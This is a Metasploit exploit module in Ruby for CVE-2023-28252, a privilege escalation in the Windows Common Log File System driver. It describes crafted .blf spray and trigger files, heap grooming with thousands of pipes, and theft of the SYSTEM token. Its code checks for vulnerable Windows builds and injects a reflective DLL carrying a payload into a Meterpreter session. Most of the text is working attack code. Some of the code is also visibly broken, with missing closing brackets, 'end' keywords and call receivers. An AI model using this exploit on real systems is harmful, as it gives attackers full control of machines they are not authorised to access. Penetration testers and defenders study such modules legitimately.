# This module requires Metasploit:  
# Current source:  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
include Msf::Exploit::Local::WindowsKernel  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::ReflectiveDLLInjection  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Post::Windows::Version  
def initialize(info = {})  
'Name' => 'Windows Common Log File System Driver (clfs.sys) Elevation of Privilege Vulnerability',  
'Description' => %q{  
A privilege escalation vulnerability exists in the clfs.sys driver which comes installed by default on  
Windows 10 21H2, Windows 11 21H2 and Windows Server 20348 operating systems.  
The clfs.sys driver contains a function CreateLogFile that is used to create  
open and edit '*.blf' (base log format) files. Inside a .blf file there are multiple blocks of data which  
contain checksums to verify the integrity of the .blf file and to ensure the file looks and acts like a  
.blf file. However, these files can be edited with CreateFileA or with fopen and then modified with  
WriteFile or fwrite respectively in order to change the contents of the file and update their checksums accordingly.  
This exploit makes use to two different kinds of specially crafted .blf files that are edited using the technique  
mentioned above. There are multiple spray .blf files. The spray .blf files are specially crafted to initiate an out of  
bounds read which reads from a contiguous block of memory. The block of memory it reads from contains a read-write pipe  
that points to the address of the second type of .blf file - the trigger .blf file. The trigger .blf file is specially  
crafted read the SYSTEM token and write it in the process of the exploit to achieve the local privilege escalation.  
The exploits creates a controlled memory space by first looping over the CreatePipe function to  
to create thousands of read-write pipes (which take up 0x90 bytes of memory). It then releases a certain number of  
pipes from memory and calls CreateLogFile to open the pre-existing spray .blf files which when being opened fill the  
0x90 byte gaps created by the deallocation of the pipes in memory, creating the controlled memory space.  
This is a very brief and high overview description of what the exploit is actually doing. For a more detailed and in  
depth analysis please refer to the following [reference](  
'License' => MSF_LICENSE,  
'Author' => [  
'Ricardo Narvaja', # Original PoC (@ricnar456)  
'Esteban.kazimirow', # Original PoC (@solidclt)  
'jheysel-r7' # msf module  
'Arch' => [ ARCH_X64 ],  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' => {  
'EXITFUNC' => 'thread'  
'Targets' => [  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]  
'References' => [  
[ 'CVE', '2023-28252' ],  
[ 'URL', '' ]  
'DisclosureDate' => '2023-04-11',  
'DefaultTarget' => 0,  
'Privileged' => true,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [UNRELIABLE_SESSION], # Should always return a session on the first run but after that a session is not guaranteed  
'SideEffects' => []  
'Compat' => {  
'Meterpreter' => {  
'Commands' => %w[  
def check  
unless session.platform == 'windows'  
# Non-Windows systems are definitely not affected.  
return Exploit::CheckCode::Safe  
file_path = get_env('WINDIR') + '\\system32\\drivers\\clfs.sys'  
unless file?(file_path)  
return Exploit::CheckCode::Safe('The target system does not have clfs.sys in system32\\drivers\\')  
version = get_version_info  
if version.build_number.between?(Msf::WindowsVersion::Win10_20H2, Msf::WindowsVersion::Win10_21H2) || version.build_number == Msf::WindowsVersion::Win11_21H2 || version.build_number == Msf::WindowsVersion::Server2022  
return CheckCode::Appears("The target is running windows version: #{version.build_number} which has a vulnerable version of clfs.sys installed by default")  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86  
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')  
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86  
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')  
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64  
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')  
encoded_payload = payload.encoded  
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-28252', 'CVE-2023-28252.x64.dll'),  
[encoded_payload.length].pack('I<') + encoded_payload  
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')